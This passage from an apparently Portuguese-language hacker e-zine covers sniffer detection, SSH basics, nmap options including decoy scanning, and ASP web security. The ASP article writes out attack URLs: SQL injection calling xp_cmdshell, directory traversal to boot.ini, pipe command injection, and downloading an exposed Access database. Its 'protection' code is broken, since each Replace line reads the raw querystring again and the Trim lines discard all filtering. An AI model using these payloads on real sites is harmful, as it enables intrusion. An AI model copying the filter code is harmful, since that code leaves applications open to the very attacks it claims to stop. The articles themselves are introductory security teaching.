o rkscan de nada adiantara contra  um rootkit desenvolvido pelo proprio  invasor,
ja que sua assinatura nao constara no rkscan.
E a brincadeira de gato e rato continua... :>

  A deteccao remota eh um processo heuristico, ou seja, o resultado nao eh  100%
confiavel.  Nesta  deteccao   exploram-se  certas  caracteristicas   do  sistema
operacional e protocolos, que possam indicar a existencia de um sniffer. Vejamos
algumas das tecnicas que IDS e ferramentas como o antisniff utilizam para tentar
identificar sniffers na rede.

+ Metodo Ping
  Sem duvida o metodo  mais conhecido, consiste em  enviar um ICMP Echo  Request
(ping) para a maquina  a ser testada, mas  com o endereco MAC  diferente. Como o
MAC nao eh o da maquina, nao deve haver resposta ao ping; se houver, eh porque a
interface de  rede nao  descartou o  pacote, e  portanto, esta  rodando em  modo
promiscuo. Este metodo pode ser realizado com qualquer protocolo que gere resposta.
  Apesar de eficiente, pode ser  contornado facilmente; de fato varios  sniffers
furtivos implementam uma especie de 'filtro virtual de MAC', que inutiliza  esta
tecnica.

+ Metodo ARP
  Existem basicamente duas possibilidades aqui. A primeira eh a mesma do  Metodo
Ping, soh que utiliza-se o protocolo  ARP. A segunda aproveita-se do ARP  Cache.
Lembram de como funciona isto? Se nao lembram, releiam o texto, pois eu que  nao
vou escrever novamente :P
  Bem, o que se faz eh o seguinte: Envia-se um ARP para um endereco que nao seja
o de broadcast, e depois um  Ping para broadcast. As maquinas que  responderem o
ping sem antes enviarem um ARP pedindo seu MAC *podem* te-lo obtido capturando o
seu pacote ARP anterior, portanto *podem* estar executando um sniffer.

+ Honey Pot (aka Armadilha)
  Honey  Pots sao  utilizados para  a deteccao  e estudo  de ataques  (apesar de
existirem  muitas  criticas a  respeito  de seu  uso).  No caso  da  deteccao de
sniffers, pode-se enviar informacoes, senhas falsas na rede, simular conexoes, e
esperar que alguem tente usa-las. Pode ser uma boa forma de detectar um  sniffer
totalmente passivo.

+ DNS Reverso
  Alguns sniffers realizam operacoes  resolucao reversao (Reverse DNS  Lookups),
isto eh, transformam enderecos IP em nomes mais amigaveis (pelo menos para seres
humanos normais), como google.com. Entao, monitorando a utilizacao de  resolucao
reversa na rede pode-se encontrar sniffers.
 Um exemplo pratico seria voce  enviar varios pings para enderecos  inexistentes
na rede, e monitora-la, para ver se alguma maquina tenta realizar a resolucao.

+ Inundacao ARP
  Para  sniffers  em  redes  comutadas  serem  funcionais,  frequentemente  eles
necessitarao gerar grande trafego  ARP, seja para encher  a tabela do switch  ou
para assumir o lugar  de outra maquina (Man  in the middle). O  monitoramento do
numero de anuncios ARP pode revelar a existencia de sniffers na rede.

+ Latencia
  Este metodo  pode trazer  problemas a  rede, portanto  deve ser  empregado com
cuidado, e apenas quando ja existir a suspeita que uma maquina esteja executando
um sniffer. Ele  consiste em enviar  uma grande quantidade  de trafego na  rede.
Maquinas que nao estiverem suas interfaces de rede executando em modo  promiscuo
nao serao afetadas, apenas as que estiverem, sim. Como serao afetadas? Terao  um
aumento do seu tempo de resposta, devido ao fato do sniffer (a maioria) analisar
todos os pacotes recebidos  a fim de armazenar  apenas as informacoes que  forem
interessantes.
  'Pingue' a maquina suspeita antes  de injetar grande quantidade de  trafego na
rede e  anote o  resultado. Depois,  pingue novamente  durante a 'tempestade' de
pacotes. Se a diferenca for grande, podemos ter um sniffer ai.

.:: Evitando o sniffing ::.

  Existem formas de tornar as coisas mais complicadas para sniffers, como o  uso
de entradas ARP estaticas  - a cache ARP  nao eh modificada -  ou o uso de  Port
Security, que 'prende' os enderecos MAC  a certas portas do switch, mas  nao sao
muito praticas.
  Existem ainda interfaces de  rede que nao suportam  o modo promiscuo, mas  sao
dificeis de serem encontradas.
  A solucao mais  efetiva contra sniffers  eh o uso  de criptografia, desde  que
seja implementada de forma correta,  com algoritmos seguros,  alem de ser muito
mais facil de ser administrado que as solucoes anteriores.

.:: Finalizando ::.

  Espero que este artigo tenha atingido seu objetivo de servir de introducao  ao
sniffing, um eterno (?) problema para admins. Fico devendo (mas nao garanto  que
farei :P) uma parte sobre sniffing de redes wireless. Ate a proxima! :>

hallz

.:: Links Relacionados ::.

http://www.packetstormsecurity.nl/sniffers/
http://stein.cshl.org/~lstein/talks/WWW6/sniffer/
http://www.linux-sec.net/Sniffer/
http://www.datanerds.net/~mike/dsniff.html
http://www.ntsecurity.nu/toolbox/promiscdetect/
http://www.securityfriday.com/ToolDownload/ScoopLM/scooplm_doc.html
http://ettercap.sourceforge.net/
http://www.oxid.it/cain.html
http://staff.washington.edu/dittrich/talks/agora/macof
http://www.robertgraham.com/pubs/sniffing-faq.html
http://www.nwo.net/osall/Methodology/Novice/Sniffer_FAQ/sniffer_faq.html
http://www.packetwatch.net/documents/papers/layer2sniffing.pdf
http://www.ebookhackers.net/kb/index.php?page=index_v1&c=15

.:: EOF ::.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[08]-=[Introdução ao SSH]-=|Haze|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1 - Introdução
2 - O que é SSH
3 - Principais vantagens
4 - Alguns comandos
5 - Clientes SSH
6 - Conclusão
7 - Referêcias
8 - Links

~~~~~~~~~~~~~~~~~
1 - Introdução
~~~~~~~~~~~~~~~~~

Olá turma.

Alguns de voces ja devem ter ouvido falar disso, ou nao. Este tutorial é simples
e foi  destinado a  explicar o  que é  SSH para  dar ao  menos a  noção de  como
funciona.  Como  é dito  sempre,  é um  pequeno  tutorial destinado  a  newbies,
portanto, se você é elite ou profissional, não vai querer perder seu tempo lendo
isso neh?.

~~~~~~~~~~~~~~~~~~
2 - O que é SSH ?
~~~~~~~~~~~~~~~~~~

O SSH (Secure Shell, ou shell  seguro) é um protocolo de comunicação  segura que
foi  criada  em  Julho  de 1995,  por  Tatu  Ylonenque  com objetivo  substituir
protocolos  cuja comunicação  não é  cifrada, apresentando  graves problemas  de
segurança como é o caso do telnet, rlogin, rsh, rcp e outros, ou seja,  qualquer
dado que for transportado por esses protocolos  são passados através da internet
como texto puro, permitindo assim o  possivel uso de sniffers  por  pessoas  mal
-intencionadas para captura  de dados como senhas e logins.

Cifrando  a comunicação  entre dois  pontos, o  SSH permite  maior segurança  na
comunicação  de dados,  visto que  seria bastante  complicado para  um atacante
decifrar a informação transmitida já que essa informação está criptografada.

Este protocolo serve tanto para serviços remotos de terminal , como para efetuar
transferências seguras de arquivos (sftp), substituindo assim clientes de Telnet
e de FTP.  O SSH  é muito usado devido sua  grande escabilidade , segurança e  é
suportado por  varios sistemas  operacionais (  Linux, *BSD  , Windows , MS-DOS,
BeOS , Solaris e outros).

~~~~~~~~~~~~~~~~~~~~~~~~
3- Principais Vantagens
~~~~~~~~~~~~~~~~~~~~~~~~

O  SSH  utiliza  um  poderoso  método  de  criptografia  chamado  de  Public Key
Cryptography que permite a autenticação e encriptação entre o cliente e servidor
de maneira que  nenhuma senha e  nenhuma tranferencia de  dados sejam facilmente
interceptados por outros hosts. Esse  método usa uma chave pública  (public key)
para  encriptação   dos  dados   e  uma   chave  privada   (private  key)   para
desencriptação. Assim, antes  do PC da  Maria estabelecer conexão  com o Mac  da
Joana, eles passam por um processo de autenticação e troca de chaves públicas: o
PC envia sua public key para  o Mac da Joana , e  o Mac faz o mesmo com  o PC da
Maria. Depois de feita essa troca, a comunicação pode prosseguir com segurança.

A  forma  de encriptação  na  comunicação entre  duas  máquina torna  o  SSH uma
poderosa ferramenta muito útil na administração de máquinas remotas, uma vez que
permite  ao  administrador  verificar   e  até  mesmo  configurar   uma  máquina
remotamente de forma  segura, podendo ele  até mesmo executar  aplicações como o
Linuxconf na maquina remota.

O canal de comunicação utiliza uma encriptação forte, que garante a  privacidade
dos seus  dados na  rede entre  as duas  máquinas. Ficando  assim impossível (ou
quase) que alguém consiga ler os seus pacotes durante o tráfego pela rede.

Você pode configurar a shell, em suas contas em dois hosts de sua confiança,  de
tal forma  que você  possa passar  de um  host para  o outro  de forma pratica e
segura, sem ter  de ficar digitando  suas senhas a  cada seção. Pode-se   tambem
configurar a shell para  fazer um "pipe-through" de  conexões X11 por dentro  do
canal encriptado,  de forma  que fica  muito mais  simples abrir  em sua máquina
janelas de aplicativos X11 que você rode em sistemas remotos, pois não será mais
necessario a preocupação com as variáveis e autorizações de display.

Junto  com o  SSH vem  alguns aplicativos  adicionais  como  o scp  e sftp,  que
substituem  os comandos tradicionais  de cópia remota de  arquivos como o rcp  e
ftp.  Estes  novos   comandos  dificilmente  falham   por  causa  de   erros  de
autenticação, como  fazem os  comandos tradicionais.  Em vez  disso, é exigido o
password sempre que a autorização automática não for bem sucedida.

~~~~~~~~~~~~~~~~~~~~
4 - Alguns Comandos
~~~~~~~~~~~~~~~~~~~~

Como já foi dito, o SSH  visa substituir antigos  protocolos  de acesso  remoto.
Vamos a uma pequena descrição dos principais comandos do SSH.

Comandos :

ssh : Usado para fazer o login e executar comandos dentro de uma máquina remota.
Sintaxe:
ssh usuario@servidor [commando]

Onde:
usuário é o nome do usuário ("login") . Ex.: Maria
servidor é o nome do servidor ao qual deseja conectar. Ex.: motdlabs.org

Exemplo:
ssh maria@motdlabs.org
ssh maria@motdlabs.org  ls

Você também pode especificar outras opções, olhe a página manual do ssh

ssh-keygen : comando utilizado para criação de chaves.
Sintaxe:
ssh-keygen -t tipo_chave

Onde o tipo de chave pode ser:
rsa1 , rsa , dsa  ( para saber a diferença entre as chaves pesquise.:-)

Exemplo:
# Para criar uma chave tipo dsa:
[usuario@localhost]$ ssh-keygen -t dsa

slogin : Nome alternativo ao comando ssh.

scp : Utilizado para cópia remota de arquivos.
Para Upoload ( transferir um arquivo de sua maquina para o servidor remoto)
Sintaxe:
scp [arquivo_local] [usuario@servidor remoto]:[nome do arquivo no servidor remoto]

Exemplo:
[usuario@localhost]$ scp /tmp/motd_guide_01.zip usuario@motdlabs.org:/teste

Esse comando copia da máquina de origem o arquivo motd_guide_01.zip que esta  na
pasta tmp para a pasta teste no servidor remoto.

Para baixar um arquivo do servidor remoto:
Sintaxe:
scp usuario@servidor_remoto:arquivo usuario@sua_maquina:arquivo

Exemplo:
[usuario@localhost]$ scp usuario@motdlabs.org:/teste/motd.zip usuario@localhost:/tmp

Para saber mais consulte as paginas do man scp.

sftp  : Similar  ao uso  do ftp,  a diferença  é que  o sftp  realiza todas  as
operações de forma criptografada.

Os comandos são similares ao clássico ftp:

[usuario@localhost]$ sftp ftp.motdlabs.org
Connecting to ftp.motdlabs.org...
usuario@motdlabs.org password:

sftp>help

Available commands:

cd path                     	Change remote directory to 'path'
lcd path                    	Change local directory to 'path'
chgrp grp path              	Change group of file 'path' to 'grp'
chmod mode path             	Change permissions of file 'path' to 'mode'
chown own path              	Change owner of file 'path' to 'own'
help                        	Display this help text
get remote-path [local-path]	Download file
lls [ls-options [path]]     	Display local directory listing
ln oldpath newpath          	Symlink remote file
lmkdir path                 	Create local directory
lpwd                        	Print local working directory
ls [path]                   	Display remote directory listing
lumask umask                	Set local umask to 'umask'
mkdir path                  	Create remote directory
put local-path [remote-path]	Upload file
pwd                         	Display remote working directory
exit                        	Quit sftp
quit                        	Quit sftp
rename oldpath newpath      	Rename remote file
rmdir path                  	Remove remote directory
rm path                     	Delete remote file
symlink oldpath newpath     	Symlink remote file
version                     	Show SFTP version
!command                    	Execute 'command' in local shell
!                           	Escape to local shell
?                           	Synonym for help
sftp>

Um exemplo de uso

[usuario@localhost]sftp usuario@motdlabs.org
sftp>get motd_guide_01.zip

~~~~~~~~~~~~~~~~~~
5 - Clientes SSH
~~~~~~~~~~~~~~~~~~

Existem muitos clientes disponíveis hoje no mercado desde o original da  empresa
finlandesa SSH  ( http://www.ssh.fi  ),ate mesmo  versões freewares  para várias
plataformas   e   sistemas   operacionais.   Para   sistemas   *nix   existe   o
OpenSSH(http://www.openssh.org/),  que  inclui  um  cliente  de  terminal  e  de
transferência  de arquivos,  e o  Yafc(http://yafc.sourceforge.net/) que  apenas
contem um cliente para transferência de arquivos, ambos são  'opensource'.

Como a opção da maioria continua  sendo o Windows, caso você queira  utilizar um
cliente  SSH a  partir de  uma estação  Windows,os mais  populares são  o PuTTY
(http://www.chiark.greenend.org.uk/~sgtatham/putty/), o TeraTERM ou o  SecureTTY
(http://www.vandyke.com/), caso nenhum  desses consiga suprir  suas necessidades
procure nos sites de downloads por outros programas e maiores informações.

~~~~~~~~~~~~~~
6 - Conclusão
~~~~~~~~~~~~~~

A  implementação  desses   protocolos  deve  ser   robusta.  Por  exemplo,   ser
simplesmente  capaz  de  logar-se  a um  host  utilizando  um  cliente SSH,  não
significa,  necessariamente,  que  a  informação  tenha  sido  criptografada com
segurança. Deve-se verificar quais são os algoritmos de criptografia suportados.

Investindo nessa tendência, muitos fabricantes anunciam seus produtos como sendo
"seguros",  baseados em  apenas alguns  recursos relacionados  a segurança  (por
exemplo,  muitos  servidores  são  chamados  de  "seguros",  simplesmente porque
suportam conexões SSH). Isto está relacionado  com a época em que a  maior parte
do gerenciamento out-of-band era feito  usando Telnet através de um  servidor de
terminal "inseguro" em uma rede local.

Bom pessoal  ainda falta  muita coisa  a ser  dita sobre  SSH ,  espero que esse
pequeno txt tenha esclarecido um pouco sobre esse protocolo, e que mais  ninguem
confunda SSH com telnet :).

~~~~~~~~~~~~~~~~
7 - Referências
~~~~~~~~~~~~~~~~

Página manual do SSH, man ssh
How to use SSH, http://www.csua.berkeley.edu/ssh-howto.html
The SSH Home Page : Tem várias informações sobre SSH http://www.ssh.org/
The SSH FAQ : Perguntas e respostas sobre SSH http://www.employees.org/~satch/ssh/faq/
Net-Security  http://www.net-security.org.
RNP http://www.rnp.br.
Cyclades http://www.cyclades.com.br/

~~~~~~~~~~~
8 - Links
~~~~~~~~~~~

* MOTD Home Page -> http://www.motdlabs.org/
* InfosHack InSecurity ->http://www.infoshack.motdlabs.org
* CDM Home Page -> http://cdm.frontthescene.com.br
* FTS Home Page -> http://www.frontthescene.com.br

-------------- EOF -----------------

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[09]-=[Usando o NMAP]-=|REPOLHO|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1.Introducao

Neste (mini) artigo mostrarei as opcoes "basicas" do nmap, este portscan  apesar
de ser muito  famoso e conhecido  por toda populacao  linux do mundo,  tem muito
gente mesmo  que nao  sabe utiliza-la  de forma  completa e  util, desconhecendo
assim esta grande ferramenta.

2.O que eh?

O nmap  eh um  utilitario open  source utilizado  para exploracao  da rede  e/ou
examinar a seguranca de um servidor/rede. O uso mais comum dele eh como portscan
e deteccao de SO de um alvo qualquer.

3.Como usar

Para utilizar o nmap a sintaxe eh a seguinte:

nmap [tipo de scan] [opcoes]

sendo assim vou  mostrar os principais  tipos de scan  primeiro e logo  mais as
opcoes que tem alguma utilidade.

4. Tipos de Scan - Metodos e Varredura

-sT
TCP connect Scan: esta forma eh a  mais simples de scan, pois ele usa  a chamada
de sistema  "connect()" que  tenta conectar  porta em  porta ateh  que receba um
valor igual a  0 , que  corresponde porta aberta,  eh um metodo  muito mas deixa
milhares de logs, pois  seria como se um  cliente conectasse no servidor,  sendo
assim, deixando todo o log no sistema.

-sP
Ping Scan: neste metodo o  nmap envia um ping para  o alvo para saber se  o host
esta up ou nao,  mas como existem hoje  varios metodos que barram  pacotes ICMP,
entao  o nmap  manda tmb  pacotes de  TCP ACK  na porta  80, caso  o nmap  obtem
resposta ele. OBS: este  metodo eh usado apenas  para ver se o  servidor esta up
sem realmente scanear as portas .

-sS
TCP SYN Scan: este metodo manda um  pacote SYN como se fosse uma conexao  real e
aguarda resposta, caso a resposta seja  um pacote SYN ACK, a porta  esta aberta,
caso receba a flag RST como resposta, indica que a porta esta fechado, isto  eh,
nao esta em modo listening, o bom deste metodo eh que eh mais dificil a deteccao
de das conexoes.

-sU
UDP Scan:  este metodo  eh utilizado  para verificar  as portas  UDP de  um alvo
qualquer. Ele manda  um pacote UDP  de 0 bytes  pra cada porta  , se receber  um
pacote ICMP como resposta entao a  porta esta fechada, senao a porta  PODE estar
aberta.

-sR
RPC scan: Ele  pega todas  as   portas  TCP/UDP  encontradas   abertas  e inunda
elas com comandos NULL de  programas  SunRPC numa tentativa de determinar quando
elas são portas RPC, e se sao, qual programa e versao dos servicos. Seria  quase
o mesmo que usar o comando "rcpinfo -p" mesmo estando atras de um firewall.

-sX -sF -sN
Modos Stealth FIN, Xmas Tree, ou  Null scan: este e um metodo  "menos" visiveis,
pois eles passam atraves de um  firewall, ou servidor de deteccao de  scan, este
metodo nao funciona com maquina window, portanto eh um metodo de identificar por
cima qual SO que a vitima esta usando.

-sI
Metodo idlescan: este metodo nao possui  no man do Nmap, uma documentacao  sobre
este  metodo  esta disponivel  em  : http://www.insecure.org/nmap/idlescan.html,
este eh um metodo onde o atacante nao envia nenhum pacote saindo de sua maquina,
deem uma olhada no site para mais infos, mas um detalhe... eh show di bola ;)
PS: nao vou colocar tudo aqui pq eh muito material sobre o idlescan.

5. Opcoes

-A
Esta opcao  mostra a  versao do  programa rodando  naquela porta,  isso eh muito
util,  ja  que  utilizar  scaners  de  vulnerabilidades  provoca  muito barulho,
identificado q programa  e qual a  versao dele, podemos  correr atras de  falhas
para o mesmo, fazendo assim o trabalho de um scan de vulnerabilidades.

-D
Durante uma varredura,  utiliza uma serie  de endereços falsificados,  simulando
que  o  scanning  tenha  originado  desses  varios  hosts,  sendo   praticamente
impossível identificar a verdadeira origem da varredura.

Ex.: nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo

-F
Procura pelas portas que estao  no /etc/services. Metodo mais rapido,  porem nao
procura por todas as portas.

-I
Se o host estiver utilizando o ident, eh possivel identificar o dono dos servicos
que estao sendo executados no servidor (trabalha com a opcao -sT)

-n
Nao ira resolver nomes, soh funciona com IP.

-O
Mostra o sistema operacional e a versao usada pelo sevidor (nao eh 100% confiavel)

-p
Voce especifica quais portas vao ser verficadas
Ex.: nmap -p 21,22,80 vitima

-P0
Faz a  varredura sem  pingar o  host antes,  pois pode  acontecer da  vitima nao
aceitar ICMP.

-R
Ira resolver nomes de hosts que serao varridos.

-ttl
Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do pacote.
Ex.: nmap -ttl 55 vitima

6. Consideracoes Finais

Bom basicamente eh isso, isto eh soh  algumas opcoes do nmap , a intencao  de eu
escrever este artigo e soh pra quem nao tem a minima ideia que o nmap tem  estas
opcoes  ou nao  sabe ingles  pra ler  o man  ou tem  preguica de  ler o  man em
portugues do site. Abracos a todos.

7. Agradecimentos

Bom... dedico este artigo a todo o pessoal da scene hacker, ao pessoal da  MOTD,
CDM e FTS, obrigado mais uma vez ao meu amigo inferninh0 por ter contribuido  em
alguns pontos do artigo.

8. Links Interessantes

- http://www.repolho.org/
- http://www.insecure.org/nmap
- http://www.motdlabs.org/
- http://cdm.frontthescene.com.br/
- http://www.frontthescene.com.br/
- http://inferninho.motdlabs.org/
- http://www.google.com.br/

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[10]-=[ASP Security]-=|Stinger|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

                            Active Pages Security
                                 Introdução
                                  Stinger
                            stinger@motdlabs.org
                         http://stinger.motdlabs.org
**********************************************************************
*                                                                    *                                                                                             *
*                                                                    *                                                                                             *
**********************************************************************

Fui informado a tempos que a Microsoft vai abrir uma academia de formacao aqui
em Angola. Eu nao tenho nada contra isso, muito pelo contrario sou a favor de
iniciativas que incentivam o ensino, mas quando se trata de ensinar mal e pob
remente assim como a maior parte dessas academias eu resolvo me retirar. Bast
a olhar para os outros paises que ja provaram o 'sabor' da Microsoft e ver
que quem vai aprender em escola de 'rico' nao se da bem.
Podemos ver isso nos milhares de codigos com bugs produzidos por programadores
'Microsoft Certified'. Meus amigos diploma nao eh tudo, eu nao fiz nenhum curs
o para aprender a dominar linguagens de programacao, para dominar redes e etc.
Por isso dedique-se e estude isso vai fazer de voce um cara mais respeitado no
mundo da 'computacao seria' onde nem sempre o que vale eh o diploma.

E sabe qual tem sido o resultado da falta de estudo e excesso de confianca nos
certificados?
Milhares de linhas de codigo bem arrumadas, codigos bonitos e etc. Isso mesmo as
empresas contratam programadores, e os crackers? Os Vandalos? Os Gatunos?
SAO FACILITADOS.

Este artigo pretende demonstrar nao so como detectar bugs em ASP mas tambem como
proteger-se.

Includes
Os includes sao o primeiro grande problema dos programadores iniciantes em ASP.
O problemas nao se baseiam exactamente nos includes, eles estao safos mas o
problemas localiza-se na extensao desses arquivos muitas vezes setados como .inc
Vejamos por exemplo uma pagina que usa um arquivo include.

http://www.site.co.ao/verificapass.htm

Ao analisarmos o codigo fonte verificamos as seguintes linhas:

C:\>type verificapass.htm > log.txt
C:\>Type log.txt

   ..
   ...
   <%
   REM Arquivo para verificar as passwords

   REM Fim do arquivo
   %>
   ...
   ..

Podemos ver ali a existencia de uma chamada a um arquivo com a extensao .inc
em seguida abrimos o browser e digitamos:
http://www.site.co.ao/pass.inc
Vemos o seguinte:

   <%
   Dim id, password, q, rs, d

   id = Request.Form("id")
   password = Request.Form("password")

   ' ** Create your Query
   q = "SELECT * FROM password WHERE id LIKE '" &_
   id & "' AND password LIKE '" & password & "'"

   ' ** Create a RecordSet to store the results of the Query
   Set rs = Server.CreateObject("ADODB.RecordSet")
   rs.Open q, "DSN=Banco;"

   ' ** check for no records returned (id or password not found)
   if NOT rs.EOF then

   ' ** Set cookies for user's convenience
   d = Date
   Response.Cookies("userid") = id
   Response.Cookies("pword") = password
   Response.Cookies("userid").Expires = DateAdd("yyyy",2,d)
   Response.Cookies("pword").Expires = DateAdd("yyyy",2,d)
   end if
   %>

Podemos ver claramente que o algoritimo de autenticacao pode ser visto a olho nu
por isso um conselho: Quando for usar includes evite sempre a extensao .inc .htm
.html .txt use sempre a extensao .asp!

Base64
Existem pessoas que ainda insistem em codificar os seus dados com base64, nao sei
porque ainda fazem isso ja que sabe-se de meios e esquemas de se descodificar esses
dados facilmente paginas web, programas preparados para descodificar dados cofificados
com base64.
O meu programa PassManipulator pode ser usado para codificar e decodificar strings
em base64 propriamente especificados pela RFC 2045(Multipurpose Internet Mail Extensions).
Usando assim:
C:\>pman encode string
C:\>pman encode file

C:\>pman decode string
C:\>pman decode file

[Stinger@Boxuh]$perl pman encode string
[Stinger@Boxuh]$perl pman encode file

[Stinger@Boxuh]$perl pman decode string
[Stinger@Boxuh]$perl pman decode file

Obs: Ainda nao coloquei o programa no server. Daqui a 2/3 semanas contem com isso.

Bases de dados Acess
Realmente um grande problema. As bases de dados acess se acessadas podem revelar informacoes
fidedignas da base de dados como usernames passwords etc.
Voce pode usar a ferramenta srcmdb.pl que eu desenvolvi para tentar procurar por bases de
dados acess:
C:\>perl srcmdb.pl www.site.com
Ou
C:\>perl srcmdb.pl www.site.com dir1 dir2 dir3
Esses dir1 dir2 dir3 indicam que ele vai procurar bases de dados nesses diretorios.
Use o arquivo srcmdb.cf para indicar outros nomes a procurar.
Realmente isso acontece assim. Se voce acessa a URL:
www.site.com/users.mdb
Entao ele baixa a base de dados para o seu computador. Ou pode ser via wget:
[Stinger@Boxuh]$wget http://www.site.com/users.mdb

Obs: Ainda nao coloquei o programa no server. Daqui a 2/3 semanas contem com isso.

Filtragem de caracteres(Replace)
A filtragem de caracteres eh uma particularidade do ASP(e de outras), basicamente o que
ela faz eh subistituir caractere a caractere.
Vamos analisar em seguida ataques que podem ser barrados usando essa funcao.

XSS - Cross site Scripting Bugs
Esses bugs tem sido um problema ignorado por muita gente. Mas eles nem sabem que
tem sido explorados com sucesso. Ainda tenho visto muitas apps e sites com bugs
desse tipo e eles nem ligam nenhuma.
Basicamete com esse bug e se voce for vitima qualquer pessoa pode acessar seu cookie
ou mesmo redirecciona-lo a uma pagina maliciosa a fim de executar comandos. Bem mas
concentremo-nos nos cookies. Como voce sabe(eu nao sei se voce sabe)os cookies sao
arquivos armazenados no computador que armazenam informacoes sobre a navegacao em
paginas dinamicas ou nao. Por exemplo se voce digitou seu username e password uma
vez voce nao precisa digitar mais gracas ao cookie, e eh ai onde entra o perigo um
atacante pode obter seus cookies chamando uma funcao javascript e atirando os cookies
para um servidor previamente preparado.
Tendo capturado seus cookies ele simplesmente esparrama na pasta cookie do pc dele e
acessa o site cujo cookie voce possuia. Sendo assim, ou seja tendo o teu cookie na
maquina dele ele vira voce, porque a pagina vai identificar o cookie e vai com base no
cookie vai deixar ele acessar suas contas.

Proteccao
Basta filtrar as URl's que nao prestam:
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de Cross Site Scripting
id=Replace(Request.Querystring("id"),"'"," ")
id=Replace(Request.Querystring("id"),"-"," ")
id=Replace(Request.Querystring("id"),">"," ")
id=Replace(Request.Querystring("id"),"<"," ")
id=Replace(Request.Querystring("id"),"."," ")
id=Replace(Request.Querystring("id"),"!"," ")
id=Replace(Request.Querystring("id"),"%"," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>

Se um atacante tenta um ataque com a seguite URL
http://www.siteprotegido.ao/Page.asp?id=
O ataque vai ser filtrado.

SQL Injection ataques
Os ataques com base em sql injection tem aumentado de grau. Cito uma grande rede
criada para ser segura (e era) a nivel de protocolos de transaccao, usava Linux
SSL, e algo mais, mas era vulneravel a SQL Injection. Com isso mais de
40.000 contas ficaram expostas. Imagine se fosse um cracker ou Kiddie que
descobrisse aquilo?

Proteccao

Basicamente a proteccao eh quase identica a do XSS mas tenha atencao em filtrar
os caracteres , ; - %20 etc.
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de SQL Injection
id=Replace(Request.Querystring("id"),"'"," ")
id=Replace(Request.Querystring("id"),"-"," ")
id=Replace(Request.Querystring("id"),","," ")
id=Replace(Request.Querystring("id"),";"," ")
id=Replace(Request.Querystring("id"),"%20"," ")
id=Replace(Request.Querystring("id"),"or"," ")
id=Replace(Request.Querystring("id"),"select"," ")
id=Replace(Request.Querystring("id"),"SELECT"," ")
id=Replace(Request.Querystring("id"),"*"," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>

Se um atacante tenta um ataque com a seguite URL
http://www.siteprotegido.ao/Page.asp?id=21';SELECT ...
Vai ser filtrada.

Extored Procedures
O servidor SQL da Microsoft possui extored Procedures que permitem a execucao de
instrucoes de maquinas em paginas da internet:
URL Normal
http://www.siteprotegido.ao/Page.asp?id=21
URL com ataque em extored procedures
http://www.siteprotegido.ao/Page.asp?id=21';EXEC master.dbo.xp_cmdshell 'cmd.exe dir
Onde master.dbo.xp_cmdshell eh uma extored procedure
Existem dezenas de outras que permitem a manipulacao do registro do sistema por exemplo.

Proteccao

Page.asp
<%
'Exemplo de proteccao contra
'Ataques de SQL Injection Com Extored Procedures
id=Replace(Request.Querystring("id"),"EXEC"," ")
id=Replace(Request.Querystring("id"),";"," ")
id=Replace(Request.Querystring("id"),"'"," ")
id=Replace(Request.Querystring("id"),"."," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>

Diretorio Transversal
Os ataques de dot dot em servidores e em aplicacoes da Web que manipulam dados.
Vamos ver uma URL valida
http://www.siteprotegido.ao/Page.asp?id=21
Basicamente se um atacante digita nessa URL:
http://www.siteprotegido.ao/Page.asp?id=../../../../../C:\boot.ini
Ele pode ver na pagina qualquer arquivo no servidor

Proteccao

Vamos retirar os bad caracteres:
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de Dot Dot
id=Replace(Request.Querystring("id"),"%20"," ")
id=Replace(Request.Querystring("id"),"."," ")
id=Replace(Request.Querystring("id"),"/"," ")
id=Replace(Request.Querystring("id"),"//"," ")
id=Replace(Request.Querystring("id"),"\"," ")
id=Replace(Request.Querystring("id"),"\\"," ")
id=Replace(Request.Querystring("id"),":"," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>

Pipe
Nao vou dar uma explicacao tecnica sobre pipe mas se voce quiser sabe pode ir digitando
na sua console:
Windows
dir | dir *.exe
Linux
ls  | cd /
Voce pode ver que ele executa dois comandos simultaneamente, isso mesmo aconselho voce a
ler o meu artigo 'Debug-Pro.txt'
Esse problema foi amplamente divulgado quando o RFP demonstrou ele naquele problema
do ODBC do Windows o que resultou em milhares de paginas pichadas por kiddies.

Basicamente uma URL valida:
http://www.siteprotegido.ao/Page.asp?id=21
http://www.siteprotegido.ao/Page.asp?id=|cmd+/c+dir

Proteccao

Vamos retirar os bad caracteres:

Page.asp
<%
'Exemplo de proteccao contra
'Ataques de Pipe
id=Replace(Request.Querystring("id"),"|"," ")
